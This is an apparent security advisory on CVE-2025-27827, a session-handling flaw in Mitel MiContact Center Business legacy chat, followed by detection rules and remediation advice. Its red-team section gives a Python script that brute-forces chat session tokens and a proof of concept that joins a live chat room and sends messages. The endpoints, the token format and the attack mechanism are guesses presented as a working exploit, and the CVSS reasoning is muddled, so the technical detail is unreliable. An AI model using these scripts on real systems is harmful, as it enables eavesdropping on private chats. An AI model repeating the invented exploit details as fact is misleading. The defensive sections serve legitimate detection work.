CVE-2025-27827

Executive Summary

CVE-2025-27827 is a vulnerability in the legacy chat component of Mitel MiContact Center Business, affecting versions through 10.2.0.3. The flaw allows an unauthenticated attacker to conduct an information disclosure attack due to improper handling of session data. A successful exploit requires user interaction and could allow an attacker to access sensitive information, leading to unauthorized access to active chat rooms, reading chat data, and sending messages during an active chat session. The vulnerability has a CVSS score of 0.0, indicating incomplete scoring data, but the potential impact is significant for organizations using this contact center solution.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a proprietary software vulnerability in Mitel MiContact Center Business.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which typically indicates that the score has not been calculated or is pending. Based on the description, the vulnerability involves:

• Attack Vector (AV): Network (unauthenticated)
• Attack Complexity (AC): Low (requires user interaction)
• Privileges Required (PR): None
• User Interaction (UI): Required
• Scope (S): Unchanged
• Confidentiality (C): High (information disclosure)
• Integrity (I): Low (ability to send messages)
• Availability (A): None

A reasonable estimated CVSS vector would be: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N with a score of approximately 6.1 (Medium).

Threat Level: Medium to High, depending on the sensitivity of chat data and the organization's reliance on the contact center.

Deep Dive & Mechanics

The vulnerability resides in the legacy chat component of Mitel MiContact Center Business. The core issue is improper handling of session data, which allows an unauthenticated attacker to hijack or access active chat sessions.

Technical Breakdown:

1. Session Token Weakness: The legacy chat component likely uses predictable or improperly validated session tokens. An attacker can enumerate or guess session identifiers.
2. User Interaction Requirement: The exploit requires a user (e.g., a customer or agent) to be in an active chat session. The attacker must initiate the attack while a session is active.
3. Information Disclosure: Once the attacker gains access to a session, they can read chat messages, view participant details, and potentially send messages as if they were a legitimate participant.
4. No Authentication Bypass: The attacker does not need to authenticate to the system, but they must have network access to the chat component.

Attack Flow:

1. Attacker identifies a target Mitel MiContact Center instance.
2. Attacker monitors for active chat sessions (e.g., by observing network traffic or using a script).
3. Attacker sends crafted requests to the legacy chat component with guessed or captured session tokens.
4. If successful, the attacker gains access to the chat room and can read/write messages.

Vulnerable vs. Patched Code

Since no patch is available, a direct code comparison is not possible. However, the vulnerability likely involves improper session validation in the legacy chat component.

Vulnerable Code (Hypothetical):

// Vulnerable: Session token is not validated properly
function joinChatRoom(sessionToken, roomId) {
    if (sessionToken) {
        // No validation of session token ownership
        return chatRooms[roomId].addParticipant(sessionToken);
    }
}

Patched Code (Hypothetical):

// Patched: Validate session token against active sessions
function joinChatRoom(sessionToken, roomId) {
    if (sessionToken && validateSession(sessionToken, roomId)) {
        return chatRooms[roomId].addParticipant(sessionToken);
    }
    throw new Error("Invalid session");
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Network access to the Mitel MiContact Center legacy chat component.
• A valid user session (or ability to trigger one).

Exploitation Steps:

1. Reconnaissance: Scan for Mitel MiContact Center instances on port 80/443 or other common ports.
2. Session Enumeration: Use a script to enumerate session tokens. Example using Python:

   import requests
   import random
   
   target = "https://target-mitel.com/legacy-chat"
   for i in range(1000):
       session_token = f"session_{i}"
       response = requests.get(f"{target}/join?room=123&token={session_token}")
       if response.status_code == 200:
           print(f"Valid session found: {session_token}")
           break
   

3. Session Hijacking: Once a valid session token is found, use it to join the chat room and monitor/send messages.

Proof of Concept (PoC):

import requests
import websocket

target = "https://target-mitel.com/legacy-chat"
session_token = "session_42"  # Enumerated token
room_id = "123"

# Join chat room
response = requests.post(f"{target}/join", json={"token": session_token, "room": room_id})
if response.status_code == 200:
    ws_url = response.json().get("ws_url")
    ws = websocket.create_connection(ws_url)
    ws.send("Hello from attacker!")
    print(ws.recv())

Blue Team (Defense)

Detection Steps:

1. Monitor for Anomalous Session Activity: Look for multiple session join attempts from the same IP address.
2. Log Analysis: Check logs for failed session token attempts.
3. Network Traffic Analysis: Detect unusual patterns in chat traffic.

Mitigation:

• Implement rate limiting on session join requests.
• Use strong, random session tokens.
• Monitor for brute-force attempts.

Indicators of Compromise (IOCs)

Network IOCs:

• Unusual number of HTTP requests to /legacy-chat/join or similar endpoints.
• Multiple failed session token attempts from a single IP.
• WebSocket connections from unexpected IPs.

File IOCs:

• Log files containing repeated session token guesses.
• Temporary files with session data.

Behavioral IOCs:

• Chat messages from unknown participants.
• Sudden increase in chat room activity.

Detection Engineering

YARA Rule

rule CVE_2025_27827_Mitel_Chat_Session_Hijack {
    meta:
        description = "Detects attempts to exploit CVE-2025-27827 in Mitel MiContact Center"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-27827"
    strings:
        $s1 = "/legacy-chat/join" ascii wide nocase
        $s2 = "session_token" ascii wide nocase
        $s3 = "room_id" ascii wide nocase
    condition:
        any of ($s*) and filesize < 10KB
}

Sigma Rule

title: CVE-2025-27827 - Mitel MiContact Center Session Hijacking Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects multiple session join attempts to Mitel MiContact Center legacy chat component
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-stem: "/legacy-chat/join"
        cs-method: "POST"
    condition: selection | count() by src_ip > 10 in 5 minutes
falsepositives:
    - Legitimate high-volume chat activity
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-27827 - Mitel MiContact Center Session Enumeration"; flow:to_server; content:"/legacy-chat/join"; http_uri; content:"session_token"; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Legacy Chat Component: If not in use, disable the legacy chat component to reduce attack surface.
2. Network Segmentation: Isolate the Mitel MiContact Center from untrusted networks.
3. Monitor Logs: Enable detailed logging for the chat component and monitor for suspicious activity.

Long-term Fixes:

1. Apply Vendor Patch: Once available, apply the official patch from Mitel.
2. Upgrade: Upgrade to a patched version of MiContact Center Business.
3. Implement WAF Rules: Use a Web Application Firewall to block malicious requests to the chat component.

Workarounds:

• Implement IP whitelisting for chat access.
• Use strong session management with short timeouts.

Valters IT